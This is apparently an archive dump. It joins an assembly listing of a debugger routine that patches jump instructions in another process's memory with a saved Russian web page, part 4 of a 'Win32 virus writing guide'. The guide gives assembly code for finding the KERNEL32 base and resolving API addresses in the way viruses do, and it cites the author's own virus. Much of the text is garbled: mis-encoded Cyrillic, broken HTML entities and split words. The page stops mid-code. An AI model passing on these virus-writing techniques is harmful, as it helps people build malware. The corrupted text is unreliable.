[ecx+eax*4] sub edx, 1 cmp edx, DWORD [_addr$+ebp] jne $L74371 ; 121 : break; jmp $L74370 $L74371: ; 122 : if( index == nanoCount ) jmp $L74369 $L74370: mov eax, DWORD [_index$+ebp] cmp eax, DWORD [esi+_nanoCount] jne $L74372 ; 123 : return result; mov eax, DWORD [_result$+ebp] jmp $L74358 $L74372: ; 124 : // nano found - need type, size and destination ; 125 : res=0 mov BYTE [esi+_res], 0 ; 126 : for( i=0; i<0x100; ++i ) mov DWORD [_i$+ebp], 0 jmp $L74373 $L74374: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74373: cmp DWORD [_i$+ebp], 100h jge $L74375 ; 127 : if(nano_index[i*2+0] == nano_jtyp[index]) ; -- : { mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_nano_index] movzx edx, BYTE [ecx+eax*2] mov eax, DWORD [esi+_nano_jtyp] add eax, DWORD [_index$+ebp] movzx ecx, BYTE [eax] cmp edx, ecx jne $L74376 ; 128 : type=nano_index[i*2+1]; ; --- : res=1; ; --- : break; ; --- : } mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_nano_index] mov dl, BYTE [ecx+eax*2+1] mov BYTE [_type$+ebp], dl mov BYTE [esi+_res], 1 jmp $L74375 $L74376: ; 129 : if( !res ) jmp $L74374 $L74375: movzx eax, BYTE [esi+_res] or eax, eax jnz $L74377 ; ??????????????? ; 130 : return result; mov eax, DWORD [_result$+ebp] jmp $L74358 $L74377: ; 131 : size=nano_jsiz[index]; mov eax, DWORD [esi+_nano_jsiz] add eax, DWORD [_index$+ebp] mov cl, BYTE [eax] mov BYTE [_size$+ebp], cl ; 132 : dest=nano_jdst[index]; mov eax, DWORD [_index$+ebp] mov ecx, DWORD [esi+_nano_jdst] mov edx, DWORD [ecx+eax*4] mov DWORD [_dest$+ebp], edx ; 133 : ; 134 : // set RW page access ; 135 : VirtualProtectEx(dbgProcess, (void *)addr, size+1, PAGE_ READWRITE, &oldProtect); lea eax, DWORD [_oldProtect$+ebp] push eax push 4 movzx ecx, BYTE [_size$+ebp] add ecx, 1 push ecx mov edx, DWORD [_addr$+ebp] push edx mov eax, DWORD [esi+_dbgProcess] push eax call DWORD [esi+VirtualProtectEx] ; 136 : // read bytes from process and set phys_addr -> bytes ; 137 : ReadProcessMemory(dbgProcess, (void *)addr, processBytes, size+&# 49;, &bytes); lea eax, DWORD [_bytes$+ebp] push eax movzx ecx, BYTE [_size$+ebp] add ecx, 1 push ecx lea edx, DWORD [esi+_processBytes$+ebp] push edx mov eax, DWORD [_addr$+ebp] push eax mov ecx, DWORD [esi+_dbgProcess] push ecx call DWORD [esi+ReadProcessMemory] ; 138 : switch( size ) mov al, BYTE [_size$+ebp] mov BYTE [tv134+ebp], al cmp BYTE [tv134+ebp], 1 je $L74384 cmp BYTE [tv134+ebp], 4 je $L74389 cmp BYTE [tv134+ebp], 5 je $L74393 jmp $L74381 $L74384: ; 139 : { ; 140 : case 0x01: // 2-bytes jmp/jcc ; 141 : if( short_opcodes[type] ) movzx eax, BYTE [_type$+ebp] movzx ecx, BYTE [esi+_short_opcodes+eax] test ecx, ecx je $L74385 ; 142 : { ; 143 : *(byte *)(processBytes+0) = short_opcodes[type]; movzx eax, BYTE [_type$+ebp] mov cl, BYTE [esi+_short_opcodes+eax] mov BYTE [_processBytes$+ebp], cl ; 144 : *(byte *)(processBytes+1) = (byte)((dest-1)&0&# 120;FF); mov eax, DWORD [_dest$+ebp] sub eax, 1 and eax, 0ffh mov BYTE [_processBytes$+ebp+1], al ; 145 : result=1; mov DWORD [_result$+ebp], 1 $L74385: ; 146 : } ; 147 : break; jmp $L74381 $L74389: ; 148 : case 0x04: // 5-bytes jmp/jcc ; 149 : if( longjmp_opcodes[type] ) movzx eax, BYTE [_type$+ebp] movzx ecx, BYTE [esi+_longjmp_opcd+eax] test ecx, ecx je $L74390 ; 150 : { ; 151 : *(byte *)(processBytes+0) = longjmp_opcodes[type]; movzx eax, BYTE [_type$+ebp] mov cl, BYTE [esi+_longjmp_opcd+eax] mov BYTE [_processBytes$+ebp], cl ; 152 : *(dword *)(processBytes+1) = dest-4; mov eax, DWORD [_dest$+ebp] sub eax, 4 mov DWORD [_processBytes$+ebp+1], eax ; 153 : result=1; mov DWORD [_result$+ebp], 1 $L74390: ; 154 : } ; 155 : break; jmp $L74381 $L74393: ; 156 : case 0x05: // 6-bytes jmp ; 157 : if( long_opcodes[type] ) movzx eax, BYTE [_type$+ebp] movzx ecx, WORD [esi+_long_opcodes+eax*2] test ecx, ecx je $L74381 ; 158 : { ; 159 : *(word *)(processBytes+0) = long_opcodes[type]; movzx eax, BYTE [_type$+ebp] mov cx, WORD [esi+_long_opcodes+eax*2] mov WORD [_processBytes$+ebp], cx ; 160 : *(dword *)(processBytes+2) = dest-5; mov eax, DWORD [_dest$+ebp] sub eax, 5 mov DWORD [_processBytes$+ebp+2], eax ; 161 : result=1; mov DWORD [_result$+ebp], 1 $L74381: ; 162 : } ; 163 : break; ; 164 : } ; 165 : // write bytes to process ; 166 : WriteProcessMemory(dbgProcess, (void *)addr, processBytes, size+& #49;, &bytes); lea eax, DWORD [_bytes$+ebp] push eax movzx ecx, BYTE [_size$+ebp] add ecx, 1 push ecx lea edx, DWORD [_processBytes$+ebp] push edx mov eax, DWORD [_addr$+ebp] push eax mov ecx, DWORD [esi+_dbgProcess] push ecx call DWORD [esi+WriteProcessMemory] ; 167 : // restore page protection ; 168 : VirtualProtectEx(dbgProcess, (void *)addr, size+1, oldPr otect, &oldProtect); lea eax, DWORD [_oldProtect$+ebp] push eax mov ecx, DWORD [_oldProtect$+ebp] push ecx movzx edx, BYTE [_size$+ebp] add edx, 1 push edx mov eax, DWORD [_addr$+ebp] push eax mov ecx, DWORD [esi+_dbgProcess] push ecx call DWORD [esi+VirtualProtectEx] ; 169 : return result; mov eax, DWORD [_result$+ebp] $L74358: ; 170 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ _i$ = -4 ; size = 4 _id$ = 8 ; size = 4 _hnd$ = 12 ; size = 4 _AddThread: ; 173 : { push ebp mov ebp, esp sub esp, 68 ; 0000&# 48;044H push ebx push esi push edi ; 174 : int i; ; 175 : for(i=0; i<MAX_THREADS; ++i) mov DWORD [_i$+ebp], 0 jmp $L74405 $L74406: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74405: cmp DWORD [_i$+ebp], 100 ; 00 8;00064H jge $L74403 ; 176 : if( threads[i][0]==0 && threads[i][1]==0 ) mov eax, DWORD [_i$+ebp] cmp DWORD [esi+_threads+eax*8], 0 jne $L74408 mov eax, DWORD [_i$+ebp] cmp DWORD [esi+_threads+eax*8+4], 0 jne $L74408 ; 177 : { ; 178 : threads[i][0]=id; mov eax, DWORD [_i$+ebp] mov ecx, DWORD [_id$+ebp] mov DWORD [esi+_threads+eax*8], ecx ; 179 : threads[i][1]=hnd; mov eax, DWORD [_i$+ebp] mov ecx, DWORD [_hnd$+ebp] mov DWORD [esi+_threads+eax*8+4], ecx ; 180 : break; jmp $L74403 $L74408: ; 181 : } ; 182 : } jmp $L74406 $L74403: pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ _i$ = -4 ; size = 4 _id$ = 8 ; size = 4 _DelThread: ; 185 : { push ebp mov ebp, esp sub esp, 68 ; 0000&# 48;044H push ebx push esi push edi ; 186 : int i; ; 187 : for(i=0; i<MAX_THREADS; ++i) mov DWORD [_i$+ebp], 0 jmp $L74413 $L74414: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74413: cmp DWORD [_i$+ebp], 100 ; 00 8;00064H jge $L74411 ; 188 : if( threads[i][0] == id ) mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_threads+eax*8] cmp ecx, DWORD [_id$+ebp] jne $L74416 ; 189 : { ; 190 : threads[i][0]=0; mov eax, DWORD [_i$+ebp] mov DWORD [esi+_threads+eax*8], 0 ; 191 : threads[i][1]=0; mov eax, DWORD [_i$+ebp] mov DWORD [esi+_threads+eax*8+4], 0 ; 192 : break; jmp $L74411 $L74416: ; 193 : } ; 194 : } jmp $L74414 $L74411: pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 ;------------------------------------------------------------------------------- ------------------ _i$ = -8 ; size = 4 _hnd$ = -4 ; size = 4 _id$ = 8 ; size = 4 _GetThread: ; 197 : { push ebp mov ebp, esp sub esp, 72 ; 0000&# 48;048H push ebx push esi push edi ; 198 : HANDLE hnd=NULL; mov DWORD [_hnd$+ebp], 0 ; 199 : int i; ; 200 : for(i=0; i<MAX_THREADS; ++i) mov DWORD [_i$+ebp], 0 jmp $L74423 $L74424: mov eax, DWORD [_i$+ebp] add eax, 1 mov DWORD [_i$+ebp], eax $L74423: cmp DWORD [_i$+ebp], 100 ; 00 8;00064H jge $L74425 ; 201 : if( threads[i][0] == id ) mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_threads+eax*8] cmp ecx, DWORD [_id$+ebp] jne $L74426 ; 202 : { ; 203 : hnd=threads[i][1]; mov eax, DWORD [_i$+ebp] mov ecx, DWORD [esi+_threads+eax*8+4] mov DWORD [_hnd$+ebp], ecx ; 204 : break; jmp $L74425 $L74426: ; 205 : } ; 206 : return hnd; jmp $L74424 $L74425: mov eax, DWORD [_hnd$+ebp] ; 207 : } pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 db 'eof' data_begin: ;------------------------------------------------------------------------------- ------------------ stub/r.bat: @echo off rem bcc32 -S -rd dbgloop.c rem "d:\program files\microsoft visual studio .Net 2003\vc7\bin\cl&# 34; /I"d:\program files\microsoft visual studio .Net 2003\vc7\platfo rmsdk\include" /Tc /Fa /FA dbgloop.c start d:\fasm\fasmw dbg_loop.asm stub/Џг⥢®¤ЁвҐ«м Ї® ­ ЇЁб ­Ёо ўЁагб®ў Ї®¤ Win32 4_ Ring-3, Їа®Ја ¬¬Ёа®ў ­ЁҐ ­  га®ў­Ґ Ї®«м§®ў вҐ«п.htm: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" 2; <!-- saved from url=(0040)http://wasm.ru/article.php?article=vgw04 --> <HTML><HEAD><TITLE>[W A S M . R U] ╤╥└╥▄╚ > ┬ирусоло гия > ╧утеводитель по написани  вирусов под Win32: 4. Ring-3, программирован ие на уровне пользователя</TITLE> <META http-equiv=Content-Type content="text/html; charset=windows-& #49;251"> <STYLE type=text/css>BODY { BACKGROUND: #f1f0e7; FONT: 11px Verdana, Arial } P { FONT: 10pt Verdana, Arial; COLOR: #000000; TEXT -ALIGN: justify } UL { FONT: 10pt Verdana, Arial; COLOR: #000000 } OL { FONT: 10pt Verdana, Arial; COLOR: #000000 } BLOCKQUOTE { FONT: 10pt Arial, Verdana; COLOR: #000000 } PRE { BACKGROUND: #ffffff; FONT: 10pt Courier, Tahoma, Arial } TD { FONT: 8pt Verdana,Arial; COLOR: #000000 } A { COLOR: #000000; TEXT-DECORATION: underline } A.nav { COLOR: #000000; TEXT-DECORATION: none } A:hover { BACKGROUND: silver; TEXT-DECORATION: underline overline } .updt { BACKGROUND-COLOR: #ffffff } H2 { FONT-SIZE: 16px } H1 { FONT-SIZE: 18pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif } H5 { FONT-SIZE: 9pt } .ctr { TEXT-INDENT: 0pt; TEXT-ALIGN: center } .n { PADDING-RIGHT: 5pt; PADDING-LEFT: 5pt; FONT-SIZE: 14px; PADDING-BOTTOM : 5pt; CURSOR: text; PADDING-TOP: 5pt; FONT-FAMILY: "Times New Roman 4;, Times, serif; BACKGROUND-COLOR: #e3e0db; TEXT-ALIGN: justify } TABLE.n { BORDER-RIGHT: #000000 1pt solid; BORDER-TOP: #0 00000 1pt solid; BORDER-LEFT: #00000 0 1pt solid; BORDER-BOTTOM: #000000 1pt soli d; BACKGROUND-COLOR: #000000 } .w { FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial; BACKGROUND-COLOR: #ffffff } </STYLE> <META content="MSHTML 6.00.2600.0" name=GENERATO R></HEAD> <BODY> <TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen ter background="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программи рование на уровне пользователя.files/3.gif" border=0> <TBODY> <TR vAlign=top align=left> <TD width=110><A href="http://wasm.ru/index.php"><IMG alt="Windows Assembly Site" src="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программир ование на уровне пользователя.files/header.gif" border=0></A></TD> <TD vAlign=center><NOBR>|<A class=nav title=Noticias href="http://was m.ru/index.php"><B>═овости</B></A>| |&# 60;A class=nav title="Acerca del sitio" href="http://wasm.ru/about.php"><B>╬ проекте</B></A>| |<A class=nav title=Phoro href="http ://www.wasm.ru/forum/"><B>&#920;орум</B>< ;/A>| |<A class=nav title=Enlaces href="http://wasm.ru/links.php"><B>╤сылки</B>< ;/A>| </NOBR></TD> <TD vAlign=center align=right>|<A class=nav title="" href="http://www.guestbook.ru/book.php?user=wasm&action=show" target=_blank><B>├остевая</B></A>| </TD 2;</TR></TBODY></TABLE><BR> <TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen ter border=0> <TBODY> <TR> <TD vAlign=top width=180><!-- <FORM ACTION="/cgi-bin/search.pl" METHOD="GET"> ╚скать (иголку): <br> <INPUT TYPE="Text" NAME="query" SIZE="15"&# 62; <INPUT TYPE="Hidden" NAME="stpos" VALUE="0"> <INPUT TYPE="Submit" VALUE="Go!"> <BR> <INPUT TYPE="Radio" NAME="stype" VALUE="AND" checked >"AND" <INPUT TYPE="Radio" NAME="stype" VALUE="OR">" ;OR" </FORM> --></TD> <TD align=middle> <H2>╤╥└╥▄╚ > ┬ирусология</H2></TD></TR> </TBODY></TABLE> <TABLE cellSpacing=0 cellPadding=0 width="98%" align=cen ter border=0> <TBODY> <TR vAlign=top> <TD> <TABLE cellSpacing=0 cellPadding=0 width=180 border=&# 48;> <TBODY> <TR> <TD><STRONG><BIG>╖ </BIG></STRONG& #62;<A class=nav title=Artículos href="http://wasm.ru/publist.php"><B>╤татьи</B></A& #62;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Códi gos fuente" href="http://wasm.ru/srclist.php"><B>╚сходники</B>< /A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Herramientas href="http://wasm.ru/toollist.php"><B>╚нструменты</B>& #60;/A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Documentaci 43;n href="http://wasm.ru/doclist.php"><B>─окументация</B>&# 60;/A><BR><BR><STRONG><B><A class=nav title=Artículos href="http://wasm.ru/publist.php">╤татьи:</A></B></ STRONG><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Programación de bajo nivel para seguidores del Zen&# 34; href="http://wasm.ru/publist.php?list=22">═изкоуровневое программирование для дZенству щих</A><BR><STRONG ><BIG>╖ </BIG></STRONG><A class=nav title="Tutoriale s de Iczelion" href="http://wasm.ru/publist.php?list=1">╙роки Iczelion'а</A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Técnicas de COM" href="http://wasm.ru/publist.php?list=15">╥ехнология COM</A><BR><STRONG><BIG>╖ </BIG& #62;</STRONG><A class=nav title=DirectX/OpenGL href="http://wasm.ru/publist.php?list=19">DirectX/OpenGL&# 60;/A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Misterios de Win32" href="http://wasm.ru/publist.php?list=21">╤екреты Win32</A><BR><STRONG><BIG>╖ </BI G></STRONG><A class=nav title=Optimización href="http://wasm.ru/publist.php?list=10">╬птимизация< /A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Compiladores href="http://wasm.ru/publist.php?list=18">╩омпиляторы</A&# 62;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Defensa c ontra depuración" href="http://wasm.ru/publist.php?list=17">╟ащита от отладки</A><BR><STRONG><BIG>╖ </ BIG></STRONG><A class=nav title=Virusología href="http://wasm.ru/publist.php?list=6">┬ирусология</A>&# 60;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Seguridad href="http://wasm.ru/publist.php?list=20">┴езопасность</A& #62;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Red href="http://wasm.ru/publist.php?list=16">╤еть</A>< ;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Formatos de archivos" href="http://wasm.ru/publist.php?list=8">╘орматы файлов</A><BR><STRONG><BIG>╖ </B IG></STRONG><A class=nav title="Zen para programadores" href="http://wasm.ru/publist.php?list=14">╧рограммерский дZен</A><BR><STRONG><BIG>╖ </BIG ></STRONG><A class=nav title=Procesadores href="http://wasm.ru/publist.php?list=11">╧роцессоры</ A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="Discos y drives" href="http://wasm.ru/publist.php?list=12">┬инты и флопики</A><BR><STRONG><BIG>╖ </ BIG></STRONG><A class=nav title=BIOS/CMOS href="http://wasm.ru/publist.php?list=13">BIOS/CMOS</A> ;<BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title="DOS por s iempre!" href="http://wasm.ru/publist.php?list=7">DOS навсегда!</A><BR><STRONG><BIG>╖ < ;/BIG></STRONG><A class=nav title="Ingeniería inversa" href="http://wasm.ru/publist.php?list=23">╚сследование программ</A><BR><STRONG><BIG>╖ < /BIG></STRONG><A class=nav title="Modo protegido" href="http://wasm.ru/publist.php?list=24">╟ащищенный режим</A><BR><STRONG><BIG>╖ </BI G></STRONG><A class=nav title=Algoritmos href="http://wasm.ru/publist.php?list=25">└лгоритмы</A> 0;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Consolas href="http://wasm.ru/publist.php?list=26">╩онсоли</A>< BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Linux/Uni x href="http://wasm.ru/publist.php?list=28">Linux/Unix< ;/A><BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Assembler.Ru href="http://wasm.ru/publist.php?list=5">Assembler.Ru</A>& #60;BR><STRONG><BIG>╖ </BIG></STRONG><A class=nav title=Varios href="http://wasm.ru/publist.php?list=27">╨азное</A><B R><BR></TD></TR></TBODY></TABLE>< ;/TD> <TD width=5><IMG height=1 width=1></TD> <TD> <H3 align=center>╧утеводитель по написани  вирусов под Win32: 4. R ing-3, программирование на уровне пользователя</H3>╖ <A href="http://wasm.ru/print.php?article=vgw04">версия для печати< ;/A> <P>─а, это правда, что уровень пользователя налагает на нас много репрессивных и фашистских ограничений на нас, ограничива щих нашу свободу, к которой мы привыкли, программируя вирусы под DOS, но парни (и девушки - прим. пер.), это жизнь, это Micro$oft. ╠ежду прочим, это единственный путь сделать так, чтобы вирус был полность  Win32-совместимым и это среда окружения будущего, как вы должны знать. ┬о-первых, давайте посмотрим как получить адрес базы KERNEL32 (для Win32-совместимости) очень простым образом: <P><STRONG>╧ростой способ получить адрес базы KERNEL32< ;/STRONG> <P>╩ак вы знаете, когда мы запускаем приложением, код вызывается о ткуда-то из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в ESP). ─авайте применим эти знания на практике: <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- .586p ; ┴ах... просто так .model flat ; ╒ехехе, я л бл  32 бита .data ; ╩ое-какие данные (их требует ; TASM32/TLINK32) db ? .code start: mov eax,[esp] ; ╥еперь EAX будет равен BFF8XXXXh ; (в w9X) ; т.е. где-то внутри API ; CreateProcess :) ret ; ┬озвраемся в него ;) end start ;---[ CUT HERE ]------------------------------------------------------------- 0;/PRE></CODE> <P>╬к, это просто. ╙ нас в EAX есть значение, примерно равно BFF8X XXX (XXXX не играет роли, нам не нужно знать его точно. ╥ак как Win32-платформы обычно все огруля т до страницы, значит заголовок KERNEL32 находится в начале страницы, и мы можем легко найти его. └ как только мы найдем заголовок PE, о котором я и веду речь, мы будем знать адрес KERNEL32. ╒ммм, наш лимит - 50h страниц. ╒ехе, не беспокойтесь, далее последует некоторый код ;). <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- .586p .model flat extrn ExitProcess:PROC .data limit equ 5 db 0 ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ═енужные и несущественные данные :) ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; .code test: call delta delta: pop ebp sub ebp,offset delta mov esi,[esp] and esi,0FFFF0000h call GetK32 push 00000000h call ExitProcess ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ├рхм, я предполага , что вы, по крайней мере, нормальный asm-кодер, то ; ; то есть знаете, что первый блок инструкций предназначается для получения ; ; дельта-смещения (хорошо, это не необходимо в данном примере, как бы то ; ; ни было я хочу придать данному коду сходство с вирусом). ═ам интересен ; ; второй блок. ╠ы помещаем в ESI адрес, откуда было вызвано наше ; ; приложение. ╬н находится в ESP (если мы, конечно, не трогали стек после ; ; загрузки программы. ┬торая инструкция, AND, получает начало страницы, из ; ; которой был вызван наш код. ╠ы вызываем нашу процедуру, после чего ; ; прерываем процесс ;). ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; GetK32: __1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed cmp word ptr [esi],"ZM" jz CheckPE __2: sub esi,10000h dec byte ptr [ebp+K32_Limit] jmp __1 ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╤начала мы проверяем, не превысили ли мы лимит (50 страниц). ╧осле того, ; ; как мы находим страницу с сигнатурой 'MZ' в начале, ищем заголовок PE . ; ; ┼сли мы его не находим, то вычитае 10 страниц (1000&# 48;h байтов), уменьшаем ; ; переменну  лимита и ищем снова. ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp __2 WeFailed: mov esi,0BFF70000h WeGotK32: xchg eax,esi ret K32_Limit dw limit ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; ; ╠ы получаем значение по смещени  3Ch из заголовка MZ (там содержится ; ; RVA-адрес начала заголовка PE), потом соотносим его с адресом страницы, ; ; и если адрес памяти, находящийся по данному смещени  - метка PE, мы ; ; мы считаем, что нашли то, что нужно... и это действительно так! ;) ; ;-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖-╖; end test ;---[ CUT HERE ]------------------------------------------------------------- 0;/PRE></CODE> <P>╨екомендация: я протестировал это у меня не было никаких пробле м в Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не зн а , что может произойти, я совету  вам использовать SEH, чтобы избежать возможных ошибок и синего экрана. SEH будет объяснен в последу щих уроках. ╒ех, этот метод использовал Lord Julus в своих туториалах (для поиска GetModuleHandleA в зараженных файлах), что не очень эффективно для моих нужд, как бы то ни было, я покажу собственну  верси  этого кода, где объясн , что можно сделать с импортами. ═апример, это можно использовать в пер-процессных (per-process) резидентных вирусах с небольшими изменениями в процедуре ;). <P><STRONG>╧олучить эти сумасшедшие функции API</STRON G> <P>Ring-3, как я уже говорил, это уровень пользователя, поэтому на м доступны только его немногие возможности. ╠ы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждени , что "Win32-платформы не могут быть подвергнуты заражени "), на том, что если они перекро т дос туп ко всему, что обычно использу т вирусы, они смогут победить нас. ┬ их мечтах. ╬ни думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история. <P>╦адно, как было сказано ранее, у нас есть объявленное как внешн ее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилированно в код, но у нас появятся проблемы при написании вирусов. ┼сли мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следу щей версии Win32. ┬ы можете найти пример в Bizatch. ╫то нам нужно сделать? ╙ нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. ┬ы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? ╙ нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них: <P>1. ╧оиск GetProcessAddress в таблице экспортов.<BR> 2. ┬ зараженном файле ищем среди импортированных функций GetProcAddress. <P>╤амый простой путь - первый, который я первым и объясн  :). ╤на чала немного теории, а потом код. <P>┼сли вы взглянете на формат заголовка PE, то увидите, что по см ещени  78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. ╬к, нам нужно получить адрес экспортов ядра. ┬ Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. ┬ Win2k у нас будет адрес 077E0 ;0000h. ╧оэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. ▀ настоятельно рекоменду  ESI, потому что тогда мы можем использовать LODSD. <P>╠ы проверяем, находится ли в начале слова "MZ" (ладно-л адно, "ZM", черт побери эту интеловску  архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. ╧осле данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещени  адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещен  3Ch в PE-заголовке) и сравниваем с "PE\&# 48;\0" (сигнатурой PE). <P>┼сли все хорошо, тогда идем дальше. ═ам нужен RVA таблицы экспо ртов. ╩ак вы можете видеть, он находится по смещени  78h в заголовке PE - вот мы его и получили. ═о как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. ┬се очень просто: просто добавьте смещение ядра к найденному значени . ╒орошо. ╥еперь мы находимся в таблице экспорта :). <P>─авайте посмотрим ее формат: <P><IMG src="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программир ование на уровне пользователя.files/vgw04_p01.gif"> <P>─ля нас важны последние 6 полей. ╟начения RVA таблицы адресов, указателей на имена и ординалов явля тся относительными к базе KERNEL32, как вы можете предположить. ╧оэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позици  его позици  в таблице. ╠ы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. ╨азмер счетчика, который мы будем использовать, должен быть больше байта. <P>╬братите внимание: я предполага , что в вы сохраняете в соответ ству щих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов. <P>╬к, представьте, что мы получили имя функции API, которое нам б ыло нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. ╦адно, теперь последует самая сложная часть для начина щих в программировании под Win32. ╙ нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. ╧оскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. ═ижеследу щая формула кратко рез мирует вышесказанное: <P>╠естонахождение функции API: (счетчик * 2) + VA таблицы ординал ов <P>╧росто, не правда ли? ╦адно, следу щий шаг (и последний) закл ч ается в том, чтобы получить адрес API-функции из таблицы адресов. ╙ нас уже есть ординал функции. ╤ его помощь  наша жизнь изрядно упрощается. ╠ы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещени  начала адреса таблицы адресов, который мы получили ране. ╒ехе, теперь у нас есть RVA адрес API-функции. ╥еперь мы должны нормализировать его, добавить смещение ядра и все! ╠ы получили его!!! ─авайте посмотрим на просту  математическу  формулу: <P>└дрес API-функции: (╬рдинал функции*4)+VA таблицы адресов+база KERNEL32 <P><IMG src="╧утеводитель по написани  вирусов под Win32 4_ Ring-3, программир ование на уровне пользователя.files/vgw04_p02.gif"> <P>[...] ┬ этих таблицах больше элементов, но в качестве примера э того вполне достаточно... <P>▀ наде сь, что вы поняли мои объяснения. ▀ пыта сь объяснить та к просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. ┴удьте терпеливы. ▀ уверен, что вы все поймете. ╒мм, может вам нужно сйчас немного кода, чтобы увидеть это в действии. ┬от мои процедуры, которые я использовал, например, в моем вирусе Iced Earth. <P><CODE><PRE>;---[ CUT HERE ]-------------------- ----------------------------------------- ; ; ╧роцедуры GetAPI и 